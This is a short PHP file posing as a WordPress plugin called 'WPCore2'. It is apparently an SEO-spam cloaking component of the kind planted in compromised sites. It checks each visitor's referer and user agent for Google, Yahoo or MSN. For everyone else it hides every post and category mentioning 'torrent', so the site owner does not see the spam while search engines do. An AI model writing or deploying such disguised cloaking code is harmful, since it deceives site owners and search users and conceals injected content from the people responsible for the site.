<?php
/*
* Plugin Name: WPCore2
* Version: 1.0
* Author: Lososev
*/
function stripos_array($str, $array)
{
foreach($array as $substr)
{
if (stripos($str, $substr) !== false)
return true;
}
return false;
}
function ex_posts($clauses)
{
global $wpdb;
$clauses['where'] .= " AND {$wpdb->posts}.post_content NOT LIKE '%torrent%'";
return $clauses;
}
function ex_cats($clauses)
{
global $wpdb;
$cats = $wpdb->get_col("SELECT key1.term_id FROM wp_term_taxonomy key1 INNER JOIN wp_term_relationships key2 on key2.term_taxonomy_id = key1.term_taxonomy_id and key1.taxonomy = 'category' INNER JOIN wp_posts key3 on key3.id = key2.object_id and key3.post_content LIKE '%torrent%'");
$clauses['where'] .= " AND t.term_id NOT IN(" . implode(",", $cats) . ")";
return $clauses;
}
$array = array("google", "yahoo", "msn");
if(stripos_array($_SERVER['HTTP_REFERER'], $array) == false && stripos_array($_SERVER['HTTP_USER_AGENT'], $array) == false)
{
add_filter("posts_clauses", "ex_posts");
add_filter("terms_clauses", "ex_cats");
}
else
{
add_action('wp_get_archive', 'wp_get_archives');
}
?>